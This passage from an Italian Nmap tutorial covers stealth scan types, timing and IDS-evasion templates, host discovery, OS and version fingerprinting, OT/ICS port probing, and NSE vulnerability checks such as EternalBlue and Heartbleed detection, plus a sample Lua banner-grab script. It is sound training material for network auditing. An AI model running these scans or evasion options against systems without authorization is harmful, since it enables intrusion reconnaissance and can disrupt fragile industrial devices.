Queste tre tecniche sfruttano un comportamento definito dalla RFC 793: un sistema conforme agli standard TCP deve rispondere con RST a qualsiasi pacchetto ricevuto su una porta chiusa, ma deve *ignorare silenziosamente* i pacchetti su porte aperte se non hanno i flag SYN, RST o ACK. Questo consente di distinguere porte aperte da porte chiuse anche senza completare un handshake.

Tecnica	Flag TCP inviati	Porta aperta	Porta chiusa	Funziona su Windows?
FIN scan (-sF)	FIN	Nessuna risposta	RST	No (sempre RST)
NULL scan (-sN)	Nessuno (0x00)	Nessuna risposta	RST	No (sempre RST)
XMAS scan (-sX)	FIN + PSH + URG	Nessuna risposta	RST	No (sempre RST)
ACK scan (-sA)	ACK	RST (non filtrata)	RST	Parzialmente

■ TEORIA

Limite importante: queste tecniche NON funzionano su Windows perché Windows risponde con RST in ogni caso, indipendentemente dallo stato della porta. Sono efficaci principalmente contro sistemi Linux/Unix/BSD. La ACK scan (-sA) è diversa dalle altre: non determina se una porta è aperta o chiusa, ma se è 'filtrata' da un firewall. Un firewall stateful di solito blocca i pacchetti ACK inattesi; un packet filter stateless li lascia passare.

■ PRATICA — Scansioni stealth

```
# FIN scan
sudo nmap -sF 192.168.1.1

# NULL scan
sudo nmap -sN 192.168.1.1

# XMAS scan
sudo nmap -sX 192.168.1.1

# ACK scan: mappa regole firewall
sudo nmap -sA 192.168.1.1
# RST ricevuto = porta NON filtrata da firewall
# No risposta = porta FILTRATA da firewall
```

4.5 Timing: bilanciare velocità e discrezione

La velocità di Nmap è controllabile con i template di timing da -T0 (paranoid) a -T5 (insane). La scelta giusta dipende dal contesto: su una LAN di laboratorio si usa -T4 o -T5; su una rete produzione monitorata conviene -T2 o -T3; su reti OT/ICS industriali mai oltre -T2.

Template	Nome	Delay tra probe	Contesto ideale
-T0	Paranoid	5 minuti	Massima evasione IDS — un pacchetto alla volta
-T1	Sneaky	15 secondi	Evasione IDS — reti molto monitorate
-T2	Polite	400 ms	Reti produzione critiche / OT — riduce carico
-T3	Normal	Adattivo (default)	Uso generale — bilanciamento
-T4	Aggressive	10 ms	LAN veloci — lab e ambienti controllati
-T5	Insane	Minimo	Lab/CTF — sacrifica accuratezza per velocità

✓ **BEST PRACTICE** Per audit su LAN aziendale: -T4 è un buon compromesso. Per reti OT/ICS: usare sempre -T2 con --max-rate 50 per non sovraccaricare PLC e RTU con stack TCP/IP limitati.

Fonti: RFC 793 (TCP); nmap.org/book/man-port-scanning-techniques.html; nmap.org/book/man-performance.html

4B. OTTIMIZZAZIONE E CASI LIMITE

Questa sezione approfondisce gli aspetti avanzati della scansione: come ottimizzare i parametri per scenari specifici, come gestire i casi limite (host irraggiungibili, firewall aggressivi, reti lente) e come interpretare risultati ambigui.

4B.1 Parallelismo e host grouping

Come Nmap parallelizza le scansioni

Nmap scansiona più host contemporaneamente (in parallelo) e manda più probe contemporaneamente allo stesso host. Il parametro `--min-hostgroup` controlla quanti host vengono processati insieme in un 'batch'. Il parametro `--min-parallelism` controlla quante probe vengono inviate in parallelo per host. Aumentare il parallelismo accelera la scansione ma aumenta il rischio di perdere risposte su reti lente.

■ BASH | Controllo parallelismo, rate e timeout per ottimizzare le scansioni

Controllo del parallelismo

```
nmap --min-hostgroup 64 192.168.1.0/24 # batch di 64 host
nmap --max-hostgroup 32 192.168.1.0/24 # max 32 host insieme
```

```
nmap --min-parallelism 10 host # min 10 probe parallele
nmap --max-parallelism 1 host # probe sequenziali (debug)
```

Controllo rate pacchetti (più diretto e efficace)

```
sudo nmap --min-rate 1000 host # min 1000 pkt/s
sudo nmap --max-rate 100 host # max 100 pkt/s (gentile)
```

Retry: quante volte riprova per le porte che non rispondono?

```
nmap --max-retries 0 host # nessun retry (veloce ma impreciso)
nmap --max-retries 3 host # 3 retry (default -T3)
```

Timeout per host lenti o su internet

```
nmap --host-timeout 30m host # abbandona dopo 30 minuti
nmap --host-timeout 5m host # scansioni internet
```

Combinazione ottimale per scan veloci e accurate su LAN:

```
sudo nmap -sS -T4 --min-rate 1000 --max-retries 2 --min-hostgroup 64 -oA scan_output 192.168.1.0/24
```

4B.2 Diagnosi: perché Nmap non trova quello che cerco?

Quando Nmap non trova un servizio che si sa essere attivo, o marca come 'filtered' porte che dovrebbero essere aperte, ci sono alcune verifiche sistematiche da fare:

Sintomo	Causa più probabile	Soluzione
Host segnato 'down' ma è attivo	ICMP bloccato dal firewall — il ping sweep fallisce	Aggiungere <code>-Pn</code> per saltare l'host discovery
Porta segnata 'filtered' invece di 'open'	Firewall blocca il traffico verso quella porta	Verificare con <code>-sA</code> (ACK scan) le regole del firewall; provare con <code>-g 53</code> (source port 53)

Sintomo	Causa più probabile	Soluzione
Versione non rilevata (-sV fallisce)	Servizio non standard, timeout troppo corto, servizio risponde in modo non atteso	Aumentare --version-intensity 9; usare Ncat per banner grab manuale
OS detection errato o non trovato	Firewall normalizza il traffico, poche porte aperte/chiusure disponibili	Aggiungere --osscan-guess; assicurarsi che ci sia almeno 1 porta aperta e 1 chiusa
Scansione molto lenta su internet	Alta latenza + packet loss = molti retry e timeout	Usare --host-timeout 5m per abbandonare host lenti; ridurre --max-retries a 1
Falsi 'open filtered' su UDP	Host non risponde né con risposta né con ICMP unreachable	Comportamento normale su UDP: verificare manualmente con Ncat

4B.3 Verboosità e debug: capire cosa sta facendo Nmap

■ TEORIA Nmap offre diversi livelli di verboosità e debug per capire esattamente cosa sta facendo: -v: verbose — mostra porte aperte man mano che le trova -vv: very verbose — mostra più dettagli -d: debug level 1 — informazioni interne -d5: debug massimo — ogni singolo pacchetto --packet-trace: mostra ogni pacchetto inviato e ricevuto --reason: spiega perché ogni porta ha quello stato Durante una scan lunga, si può interagire premendo: v/V: aumenta/diminuisce verboosità d/D: aumenta/diminuisce debug p/P: pausa/riprendi	■ PRATICA — Verboosità, debug e --reason <pre># Mostra porte aperte man mano sudo nmap -sS -v 192.168.1.1 # Spiega perché ogni porta ha quello stato sudo nmap -sS --reason 192.168.1.1 # Esempio output: # PORT STATE SERVICE REASON # 22/tcp open ssh syn-ack ttl 64 # 80/tcp closed http reset ttl 64 # 443/tcp filtered https no-response # Trace di tutti i pacchetti (debug avanzato) sudo nmap --packet-trace -p 80 192.168.1.1 # Trace solo degli script NSE nmap --script-trace --script http-title 192.168.1.1 # Debug massimo sudo nmap -d5 -p 80 192.168.1.1 2>&1 head -50</pre>
---	--

4B.4 Scansione di reti con NAT e proxy

NAT (Network Address Translation) e proxy modificano il modo in cui Nmap può operare. Capire queste limitazioni è importante per pianificare audit in architetture complesse:

Architettura	Impatto su Nmap	Workaround
NAT (router casalingo/aziendale)	Dall'interno: scan della rete interna funziona normalmente. Dall'esterno: si vede solo l'IP pubblico — port forwarding determina cosa è visibile	Per testare la visibilità dall'esterno: scan dall'IP pubblico o da una VPS esterna
Proxy HTTP/SOCKS5	Solo TCP Connect (-sT) funziona via proxy. No raw socket, no SYN scan, no UDP, no ICMP	proxychains nmap -sT -Pn target — molto più lento
Load balancer	Risposta potrebbe venire da server diverso ad ogni probe — OS detection inaffidabile, versioni miste	Difficile da gestire; usare -sV per confrontare risposte dei servizi
Cloud (AWS/Azure/GCP)	Security group/NSG bloccano traffico prima dell'host. ICMP quasi sempre bloccato — usare -Pn	Scan dall'interno (stessa VPC) molto più informativa. Dall'esterno: solo porte esplicitamente aperte nel security group
VPN aziendale	Tutto il traffico cifrato — Nmap non può decifrarlo. Ma dall'interno della VPN si vede la rete aziendale	La scansione va fatta dall'interno della VPN per essere rilevante

Fonti: RFC 3022 (NAT); proxychains4 (github.com/haad/proxychains); AWS Security Groups (docs.aws.amazon.com); Azure NSG (docs.microsoft.com); nmap.org/book/man-port-scanning-techniques.html

5. HOST DISCOVERY: TROVARE HOST ATTIVI

Prima di scansionare le porte, Nmap deve sapere quali indirizzi IP corrispondono a host effettivamente attivi. Scansionare 254 indirizzi di cui solo 20 sono macchine reali significa sprecare tempo sugli altri 234. La fase di **host discovery** (o ping sweep) risolve questo problema.

5.1 Come Nmap determina se un host è attivo

Nmap usa una combinazione di tecniche diverse per il ping sweep, perché nessuna da sola è affidabile al 100%: molti firewall bloccano il ping ICMP tradizionale, ma non bloccano tutto il resto.

Tecnica	Opzione	Come funziona	Quando è utile
ARP ping	Automatico su LAN	Invia richiesta ARP — risponde sempre se host attivo	Solo su LAN locale — più affidabile di ICMP
ICMP Echo	-PE	Ping tradizionale — ICMP Echo Request	Quando ICMP non è bloccato
ICMP Timestamp	-PP	Richiede timestamp al target — meno bloccata di Echo	Alternativa quando ICMP Echo è filtrato
TCP SYN	-PS[porta]	SYN verso porta (default 80) — SYN+ACK = host attivo	Quando ICMP è bloccato ma TCP no
TCP ACK	-PA[porta]	ACK verso porta — RST = host attivo	Elude alcuni firewall stateless
UDP	-PU[porta]	UDP verso porta chiusa — ICMP unreachable = attivo	Quando TCP è tutto filtrato

5.2 Ping sweep: esempi pratici

■ BASH | Ping sweep: scoperta host attivi e workflow due-fasi

```
# Ping sweep base (-sn = solo host discovery, nessuna porta scan)
nmap -sn 192.168.1.0/24

# Output tipico:
# Nmap scan report for 192.168.1.1
# Host is up (0.0012s latency).
# MAC Address: AA:BB:CC:DD:EE:FF (Vendor Name)
#
# Nmap scan report for 192.168.1.10
# Host is up (0.024s latency).
# ...
# Nmap done: 256 IP addresses (12 hosts up) scanned in 2.31 seconds

# Ping sweep con piu tecniche combinate (piu affidabile)
sudo nmap -sn -PE -PS22,80,443 -PA80 192.168.1.0/24
# Usa: ARP (su LAN) + ICMP Echo + TCP SYN su 22/80/443 + TCP ACK su 80

# Estrai solo gli IP degli host attivi
nmap -sn 192.168.1.0/24 | grep "report for" | awk '{print $NF}'

# Salva la lista per usarla nelle fasi successive
nmap -sn -oG - 192.168.1.0/24 | grep "Up" | awk '{print $2}' > hosts_attivi.txt
echo "Host trovati: $(wc -l < hosts_attivi.txt)"

# Poi usa la lista per la scansione porte
sudo nmap -sS -sV -T4 -iL hosts_attivi.txt
```

5.3 Salta l'host discovery con -Pn

Quando usare -Pn

L'opzione -Pn disabilita completamente l'host discovery: Nmap tratta il target come sempre attivo e va direttamente alla scansione delle porte. Utile quando: il target blocca tutto il traffico di discovery (ICMP e TCP verso porte di discovery), ma ha porte applicative aperte. Esempio tipico: server cloud con firewall che blocca il ping ma ha la porta 443 aperta. Senza -Pn, Nmap lo segnerebbe come 'down' e salterebbe la scansione.

■ BASH | Uso di -Pn: quando il target sembra down ma non lo è

```
# Senza -Pn: Nmap prima fa il ping sweep
# Se il target non risponde al ping sweep -> lo salta
sudo nmap -sS 192.168.1.100 # potrebbe saltare il target!

# Con -Pn: scansiona sempre, anche se non risponde al ping
sudo nmap -sS -Pn 192.168.1.100 # scansiona comunque

# Caso tipico: server cloud che blocca ICMP ma ha porte aperte
sudo nmap -sS -Pn -p 80,443,22 1.2.3.4

# Combinazione per massima copertura senza discovery:
sudo nmap -sS -Pn -n --max-retries 2 -p- -T4 192.168.1.1
# -Pn = no discovery
# -n = no DNS resolution (piu veloce)
# -p- = tutte le porte
# --max-retries 2 = massimo 2 tentativi per porta
```

5.4 DNS e risoluzione dei nomi

Per default, Nmap risolve i nomi DNS degli host trovati. Questo aggiunge informazioni utili all'output (hostname del server) ma introduce traffico DNS e può rallentare la scansione. Per scansioni veloci su grandi reti, disabilitare la risoluzione con -n.

■ TEORIA

Nmap supporta anche il DNS inverso (reverse lookup): dato un IP trova l'hostname associato. Con -sL (list scan) si ottengono solo i reverse DNS senza inviare nessun pacchetto al target: utile per la ricognizione passiva iniziale di una rete.

■ PRATICA — DNS resolution e list scan

Con risoluzione DNS (default)

```
nmap -sn 192.168.1.0/24 # mostra anche hostname
```

Senza risoluzione DNS (piu veloce)

```
nmap -sn -n 192.168.1.0/24
```

Solo reverse DNS, nessuna scansione reale

```
nmap -sL 192.168.1.0/24
```

Usa DNS server specifico

```
nmap --dns-servers 8.8.8.8 192.168.1.1
```

Traceroute verso i target trovati

```
sudo nmap -sn --traceroute 192.168.1.0/24
```

Fonti: nmap.org/book/man-host-discovery.html; RFC 826 (ARP); RFC 792 (ICMP); Fyodor 'Nmap Network Scanning' Cap. 3

6. VERSION DETECTION E OS FINGERPRINTING

Sapere che la porta 80 è aperta non basta: per una valutazione di sicurezza efficace, occorre sapere *quale* server web sta girando e *quale versione*. Apache 2.4.50 ha vulnerabilità critiche che Apache 2.4.57 non ha. Questa distinzione è il compito del version detection.

6.1 Come funziona il version detection (-sV)

Il database nmap-service-probes

Nmap include un database di oltre 1.200 'probe': sequenze di bytes da inviare a un servizio aperto, abbinate a espressioni regolari che riconoscono il formato della risposta. Ad esempio, per rilevare OpenSSH invia una stringa di identificazione e cerca nella risposta il pattern 'SSH-2.0-OpenSSH_X.Y'. Questi probe sono organizzati per intensità (0-9): più alta è l'intensità, più probe vengono provati, più accurato è il rilevamento (ma più lento).

■ TEORIA

Il version detection di Nmap funziona in tre passi:
1) Apre la connessione alla porta aperta trovata
2) Invia probe specifici per il tipo di servizio atteso
3) Confronta la risposta con il database nmap-service-probes
In output riporta: product (es. Apache httpd), version (es. 2.4.57), extrainfo (distro Linux), e il CPE (Common Platform Enumeration) per correlazione CVE.

■ PRATICA — Service Version Detection

```
# Version detection base (intensità 7 di default)
nmap -sV 192.168.1.1

# Version detection massima (tutti i probe)
nmap -sV --version-all 192.168.1.1

# Version detection leggera (solo banner grab)
nmap -sV --version-light 192.168.1.1

# Output di esempio con -sV:
# PORT      STATE SERVICE  VERSION
# 22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.7
# 80/tcp    open  http     Apache httpd 2.4.57 ((Ubuntu))
# 3306/tcp  open  mysql    MySQL 8.0.36-0ubuntu0.22.04.1
# 443/tcp   open  ssl/http nginx 1.24.0
```

6.2 OS Fingerprinting: la teoria dietro

Il rilevamento del sistema operativo è uno dei risultati più impressionanti di Nmap: come fa a capire se un host esegue Linux, Windows o Cisco IOS *senza mai chiederglielo direttamente?*

La risposta è nel **TCP/IP fingerprinting**: diversi sistemi operativi implementano lo stack TCP/IP in modo leggermente diverso. Queste differenze — invisibili all'utente finale ma misurabili analizzando i pacchetti — formano una 'firma' unica.

Caratteristica analizzata	Descrizione	Esempio
TTL iniziale	Valore TTL con cui il SO invia i pacchetti	Linux: 64 • Windows: 128 • Cisco: 255
Dimensione finestra TCP	Dimensione della finestra TCP nel SYN iniziale	Linux 5.x: 64240 • Windows 10: 65535

Caratteristica analizzata	Descrizione	Esempio
Opzioni TCP	Quali opzioni TCP sono presenti e in che ordine nel SYN	MSS, SACK, timestamps, window scale — ordine varia per OS
IP ID sequencing	Come il SO genera i numeri ID nei pacchetti IP	Linux: randomico • Windows: incrementale • OpenBSD: 0
ICMP response	Come il SO risponde ai messaggi ICMP	Dimensione, TTL e tipo dei messaggi di errore variano
DF bit	Uso del flag Don't Fragment nei pacchetti	Diversi SO lo usano diversamente
Closed port response	Come il SO risponde a un SYN su porta chiusa	Dettagli del RST differiscono tra implementazioni

Nmap confronta le caratteristiche misurate con il suo database nmap-os-db (oltre 5.600 firme) e restituisce i migliori match con una percentuale di accuratezza.

6.3 OS Detection in pratica

■ BASH | OS detection: comandi e interpretazione output

```
# OS detection (richiede root)
sudo nmap -O 192.168.1.1
```

```
# Output di esempio:
# Device type: general purpose
# Running: Linux 5.X|6.X
# OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6
# OS details: Linux 5.15 - 6.1
# Network Distance: 1 hop
```

```
# OS detection con "indovina comunque" (utile se poche porte aperte)
sudo nmap -O --osscan-guess 192.168.1.1
```

```
# Scansione "aggressive" = OS + version + script + traceroute
sudo nmap -A 192.168.1.1
# Equivalente a: -O -sV -sC --traceroute
```

```
# Limitazioni pratiche:
# 1) Serve almeno 1 porta aperta E 1 chiusa (non filtrata) sul target
# 2) VPN e NAT alterano le caratteristiche TCP/IP
# 3) Dispositivi dietro load balancer sono difficili da identificare
# 4) OS moderni hanno fingerprint molto simili tra loro
# 5) La firma può dipendere dal kernel, non solo dall OS
```

6.4 Identificare dispositivi OT/IoT

Per chi lavora su reti industriali, il version detection e l'OS fingerprinting sono particolarmente preziosi: identificare un PLC Siemens S7, un RTU Modbus o una webcam IP richiede approcci specifici. Nmap include script NSE dedicati a questo scopo.

■ BASH | OS/version detection su reti OT: porte industriali e cautele

```
# Identificazione dispositivi OT: usa timing lento (-T2) per non crashare PLC
sudo nmap -sS -sV -O -T2 -p 80,102,443,502,4840,20000,44818,47808 --open 192.168.100.0/24

# Porte OT da verificare sempre:
# 102    = Siemens S7 (ISO-TSAP)
# 502    = Modbus/TCP
# 4840   = OPC-UA
# 20000  = DNP3 (elettrico/utilities)
# 44818  = EtherNet/IP (Allen-Bradley)
# 47808  = BACnet/IP (building automation)

# Script NSE specifici OT (molto gentle, solo lettura):
sudo nmap -p 102 --script s7-info -T2 192.168.100.0/24
sudo nmap -p 502 --script modbus-discover -T2 192.168.100.0/24
sudo nmap -sU -p 47808 --script bacnet-info -T2 192.168.100.0/24

# REGOLA OT: mai usare -T3 o superiore su reti industriali produzione
# PLC come Siemens S7-300 hanno stack TCP con buffer ridotti
```

Fonti: nmap.org/book/osdetect.html; nmap.org/book/vscan.html; ICS-CERT (cisa.gov/ics); IEC 62443; Fyodor 'Nmap Network Scanning' Cap. 7 e 8

6B. PROTOCOLLI DI RETE: STORIA E SICUREZZA

Per capire davvero perché certi protocolli sono insicuri e perché Nmap li trova vulnerabili, è utile conoscere la storia e il contesto in cui sono stati progettati. La maggior parte dei protocolli di rete è stata creata in un'epoca in cui la sicurezza non era una priorità.

6B.1 Il problema dell'eredità storica

Internet è nata negli anni '70 come ARPANET, una rete accademica e militare in cui tutti i partecipanti erano considerati affidabili. I protocolli fondamentali — IP, TCP, UDP, ICMP — sono stati progettati in questo contesto: massimizzare l'efficienza e la semplicità, non la sicurezza. Questa eredità spiega molte delle vulnerabilità che Nmap aiuta a rilevare ancora oggi.

Protocollo	Anno	Problema di sicurezza	Conseguenza per Nmap
IP v4	1981	Nessuna autenticazione del mittente — l'IP sorgente è facilmente falsificabile	IP spoofing per decoy scan, idle scan; OS fingerprinting tramite TTL
TCP	1981	Sequence number prevedibili (storicamente) — SYN flooding possibile	Three-way handshake sfruttato per SYN scan; flag manipulation per stealth scan
UDP	1980	Connectionless: nessuna conferma, nessuna autenticazione	Scanning lento; amplification DDoS (DNS, NTP, SSDP)
ICMP	1981	Nessun controllo sull'uso — usabile per tunneling e scanning	Ping sweep; OS fingerprinting; ICMP tunneling possibile
FTP	1985	Credenziali in chiaro; modalità attiva espone IP client	ftp-anon; ftp-bounce per port scan tramite server FTP
Telnet	1969	Tutto in chiaro (username, password, comandi)	Rilevamento facile; banner grab; deprecato ma ancora diffuso in OT
SNMP v1/v2	1988/1993	Community string come unica auth; in chiaro	snmp-info rivela configurazione completa con community 'public'
HTTP	1991	Nessuna cifratura; nessuna autenticazione nativa	http-headers, http-title rivelano tecnologie; intercettabile

6B.2 I protocolli moderni e la loro relazione con Nmap

I protocolli moderni affrontano i problemi storici con meccanismi di sicurezza integrati. Nmap può verificare se questi meccanismi sono correttamente configurati:

Protocollo	Sostituisce	Sicurezza aggiunta	Verifica con Nmap
SSH	Telnet, RSH, FTP	Cifratura end-to-end, autenticazione chiave pubblica	ssh2-enum-algos verifica algoritmi; ssh-hostkey verifica fingerprint
HTTPS / TLS	HTTP	Cifratura, integrità, autenticazione server	ssl-cert, ssl-enum-ciphers, ssl-heartbleed
SFTP / SCP	FTP	FTP sicuro tramite SSH	Rilevato come SSH sulla porta 22
SNMPv3	SNMP v1/v2	Autenticazione e cifratura	snmp-info fallisce se v3 è correttamente configurato
LDAPS / LDAP+TLS	LDAP	Cifratura del traffico directory	Porta 636 (LDAPS) invece di 389; ssl-cert verifica il certificato
SMTP+TLS (STARTTLS)	SMTP plain	Cifratura opportunistica	smtp-commands mostra se STARTTLS è supportato
IPsec / VPN	Routing IP non cifrato	Cifratura del traffico IP	Rilevato con udp scan su porta 500 (IKE); non bypassabile da Nmap

6B.3 IPv6 e le nuove sfide per Nmap

IPv6 porta cambiamenti significativi per il network scanning: lo spazio di indirizzi è enormemente più grande (2^{128} vs 2^{32}), rendendo impraticabile la scansione sequenziale di una subnet /64. Allo stesso tempo, IPv6 introduce nuove funzionalità che influenzano le tecniche di discovery.

■ TEORIA

Principali differenze IPv6 per Nmap: - /64 subnet = 18 miliardi di miliardi di indirizzi: impossibile scansionare - Multicast sostituisce broadcast: ff02::1 = all nodes - NDP (Neighbor Discovery Protocol) sostituisce ARP - Link-local addresses (fe80::) sempre presenti - Header estesi per routing, autenticazione (IPsec nativo) Strategia alternativa: usare ff02::1 per discovery invece di scandire l'intero spazio /64

■ PRATICA — Nmap e IPv6

```
# Scan IPv6: sempre specificare -6
nmap -6 2001:db8::1
nmap -6 scanme.nmap.org # se ha AAAA record

# Discovery su link-local (LAN IPv6)
sudo nmap -6 -sn ff02::1%eth0 # multicast all-nodes
# Nota: %eth0 specifica l'interfaccia per link-local

# Scan /64: pratico solo con target specifici
nmap -6 2001:db8::/64 # tecnicamente possibile ma lentissimo

# Invece: usa NDP per trovare neighbor
ip -6 neigh show # mostra neighbor IPv6 noti (Linux)
arp -a # mostra neighbor IPv4 per confronto

# Script NSE su IPv6 (funzionano normalmente)
nmap -6 --script ssl-cert -p 443 2001:db8::1
```

6B.4 Il futuro: Nmap e le reti 5G/IoT/Edge

L'espansione dell'IoT e del 5G introduce nuove sfide per il network scanning: miliardi di dispositivi con capacità computazionale ridotta, protocolli proprietari, connessioni mobili e intermittenti, e spesso zero meccanismi di sicurezza nativi.

Nmap rimane rilevante anche in questi scenari, ma deve essere combinato con approcci complementari: il monitoraggio passivo del traffico (con Zeek o Suricata) per identificare pattern senza inviare pacchetti ai dispositivi, e database di fingerprint specializzati per protocolli IoT (MQTT, CoAP, Zigbee su IP, Z-Wave su IP).

Protocollo IoT	Porta	Rilevabile con Nmap?	Note
MQTT (IoT messaging)	1883, 8883	Sì — porta aperta rilevabile	Script mqtt-info; autenticazione spesso assente
CoAP (IoT REST)	5683/UDP	Sì — UDP scan	Protocollo leggero per sensor; spesso senza auth
AMQP (message broker)	5672	Sì — tcp port scan	RabbitMQ; autenticazione presente ma spesso debole
Modbus over TCP	502	Sì — modbus-d iscover NSE	Standard ICS; nessuna auth nativa
OPC-UA	4840	Sì — opc-ua-di scovery NSE	Auth e cifratura opzionali
HTTP per Web of Things	80, 8080	Sì — http-title, http-enum	API REST su device IoT; swagger UI esposta

Fonti: RFC 2460 (IPv6); RFC 4861 (NDP); IETF RFC 7252 (CoAP); OASIS MQTT v5 (mqtt.org); nmap.org/book/man-port-scanning-techniques.html#idlescan; ETSI (5G security standards — etsi.org)

7. NMAP SCRIPTING ENGINE (NSE)

Il Nmap Scripting Engine è la caratteristica che ha trasformato Nmap da port scanner a piattaforma di intelligence di rete. NSE permette di estendere Nmap con script scritti in Lua — un linguaggio leggero, veloce e progettato per essere embeddato in applicazioni C (esattamente il contesto di Nmap).

7.1 L'architettura di NSE: perché Lua?

La scelta di Lua come linguaggio di scripting per NSE non è casuale. Lua è stato progettato specificamente per essere incorporato in programmi C: è leggero (meno di 250 KB), estremamente veloce, ha una sintassi semplice e un sistema di tipi flessibile. Questi attributi lo rendono ideale per un contesto in cui possono girare centinaia di script contemporaneamente.

NSE fornisce agli script una serie di librerie Lua pre-costruite che astraggono le operazioni di rete più comuni: apertura di socket, scansione TLS/SSL, parsing di risposte HTTP, interazione con SNMP, e molto altro. Questo permette di scrivere script potenti con poche righe di codice.

Categoria NSE	Descrizione	Sicuro da usare?
default	Script sicuri e informativi — eseguiti con -sC	Sì
safe	Non può danneggiare il target in alcun modo	Sì
discovery	Raccolta informazioni: directory, servizi, metadati	Solitamente sì
version	Migliora il rilevamento versioni dei servizi	Sì
auth	Test autenticazione: bypass, credenziali default	Con cautela
vuln	Rileva vulnerabilità senza sfruttarle	Con cautela
intrusive	Può influenzare il target (carico, log)	Solo su sistemi autorizzati
exploit	Sfrutta vulnerabilità — modifica o accede al target	Solo in pentest autorizzati
brute	Attacchi brute force su servizi di autenticazione	Solo su sistemi autorizzati
dos	Test di Denial of Service — può interrompere servizi	SOLO in lab isolato
malware	Rileva backdoor e malware noti	Sì
broadcast	Invia broadcast per scoperta — no target necessario	Sì

7.2 Eseguire script NSE: sintassi e opzioni

■ TEORIA

Gli script NSE si selezionano con `--script`. Si può specificare: il nome esatto di uno script, una categoria (es. 'vuln'), una combinazione logica (es. 'safe and discovery'), o un pattern con wildcard (es. 'http-*'). La categoria 'default' corrisponde a `-sC`: è la scelta sicura per un audit iniziale. Include script come `http-title`, `ssl-cert`, `ssh-hostkey`, `ftp-anon`.

■ PRATICA — Sintassi `--script`

```
# Script default (sicuri e informativi)
nmap -sC 192.168.1.1
```

```
# Script specifico
nmap --script ssl-cert 192.168.1.1
```

```
# Più script separati da virgola
nmap --script http-title,http-headers 192.168.1.1
```

```
# Tutti gli script di una categoria
nmap --script vuln 192.168.1.1
```

```
# Combinazioni logiche
nmap --script "safe and discovery" target
nmap --script "not intrusive" target
```

```
# Wildcard: tutti gli script http-*
nmap --script "http-*" 192.168.1.1
```

```
# Passa argomenti a uno script
nmap --script snmp-brute --script-args snmp-brute.communi
```

7.3 Script NSE essenziali per sicurezza

Ecco gli script più utili organizzati per area tematica, con la spiegazione di cosa cercano e perché è importante:

Sicurezza SSL/TLS

■ BASH | Script SSL/TLS: certificati, cipher suite, vulnerabilità

```
# Certificato SSL: chi l ha emesso, scadenza, soggetto
nmap -p 443 --script ssl-cert 192.168.1.1
# Utile per: scoprire hostname interni, verificare scadenza, Self-signed

# Cipher suite supportate: rileva algoritmi deboli
nmap -p 443 --script ssl-enum-ciphers 192.168.1.1
# Cerca: RC4, DES, NULL cipher, export cipher, SSLv2/SSLv3

# Heartbleed (CVE-2014-0160): vulnerabilità critica OpenSSL
# Permetteva di leggere memoria del server (incluse chiavi private!)
nmap -p 443 --script ssl-heartbleed 192.168.1.1

# Parametri Diffie-Hellman deboli (LOGJAM attack)
nmap -p 443 --script ssl-dh-params 192.168.1.1
```

Sicurezza SMB/Windows

■ BASH | Script SMB: enumerazione Windows e vulnerabilità critiche

```
# Informazioni OS via SMB (non richiede autenticazione)
nmap -p 445 --script smb-os-discovery 192.168.1.1

# Rivela: nome computer, dominio, versione Windows, workgroup

# Condivisioni SMB accessibili
nmap -p 445 --script smb-enum-shares 192.168.1.1

# EternalBlue (CVE-2017-0144): vulnerabilità usata da WannaCry
# RCE senza autenticazione su SMB v1 - CRITICA
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.1

# MS08-067: vulnerabilità storica Windows XP/2003
nmap -p 445 --script smb-vuln-ms08-067 192.168.1.1

# Modalità sicurezza SMB (message signing abilitato?)
nmap -p 445 --script smb-security-mode 192.168.1.1
```

Web e HTTP

■ BASH | Script HTTP: ricognizione web e vulnerabilità applicative

```
# Titolo della pagina web (identifica applicazione)
nmap -p 80,443 --script http-title 192.168.1.1

# Header HTTP (rivela framework, server, versioni)
nmap -p 80,443 --script http-headers 192.168.1.1

# Directory e file comuni (simile a dirb)
nmap -p 80 --script http-enum 192.168.1.1
# Testa: /admin/, /wp-admin/, /.git/, /backup/, /phpmyadmin/ ecc.

# Robots.txt e sitemap
nmap -p 80 --script http-robots.txt 192.168.1.1

# Shellshock (CVE-2014-6271): bash via CGI
nmap -p 80 --script http-shellshock 192.168.1.1

# Rilevamento WAF (Web Application Firewall)
nmap -p 80,443 --script http-waf-detect 192.168.1.1
```

Database e servizi

■ BASH | Script database: MySQL, FTP, SNMP, Redis, MongoDB

```
# MySQL senza password (root accessibile senza auth)
nmap -p 3306 --script mysql-empty-password 192.168.1.1

# MySQL: lista database
nmap -p 3306 --script mysql-databases --script-args mysqluser=root 192.168.1.1

# FTP anonimo (accesso senza credenziali)
nmap -p 21 --script ftp-anon 192.168.1.1

# SNMP informazioni sistema (community string "public")
nmap -sU -p 161 --script snmp-info --script-args snmpcommunity=public 192.168.1.1
# Rivela: nome host, OS, uptime, interfacce di rete, processi

# Redis senza autenticazione
nmap -p 6379 --script redis-info 192.168.1.1

# MongoDB informazioni (spesso senza auth!)
nmap -p 27017 --script mongodb-info 192.168.1.1
```

7.4 Scrivere uno script NSE: struttura base

Comprendere la struttura di uno script NSE aiuta a leggere gli script esistenti e a personalizzarli per le proprie esigenze.

■ LUA | esempio_banner.nse — struttura minima di uno script NSE in Lua

```
-- esempio_banner.nse: cattura banner da qualsiasi porta TCP aperta
-- Salvare in /usr/share/nmap/scripts/
-- Aggiornare db: sudo nmap --script-updatedb

local nmap      = require "nmap"
local shortport = require "shortport"
local stdnse    = require "stdnse"

-- Metadati (mostrati con nmap --script-help esempio_banner)
description = [[
Cattura il banner di benvenuto inviato da qualsiasi servizio TCP.
Utile per identificare software non standard che non rientra
nel database nmap-service-probes.
]]
author      = "Security Team"
license     = "Same as Nmap"
categories  = {"discovery", "safe"}

-- portrule: quando eseguire questo script?
-- shortport.port_or_service lo attiva su porte o servizi specifici
portrule = shortport.port_or_service(
    {21, 22, 25, 80, 110, 143, 443, 8080},
    {"ftp", "ssh", "smtp", "http", "pop3", "imap", "https"}
)

-- action: la funzione principale dello script
action = function(host, port)
    local socket = nmap.new_socket()
    local ok, err = socket:connect(host, port)

    if not ok then
        return stdnse.format_output(false, "Connessione fallita: " .. err)
    end

    socket:set_timeout(5000) -- 5 secondi di timeout
    local ok2, banner = socket:receive_lines(1)
    socket:close()

    if ok2 and banner then
        -- Rimuovi caratteri di controllo
        banner = banner:gsub("[\0-\031%c]", "")
        return "Banner: " .. banner
    end
    return "Nessun banner ricevuto"
end

-- Uso: nmap --script esempio_banner -p 21,22,25 192.168.1.1
```

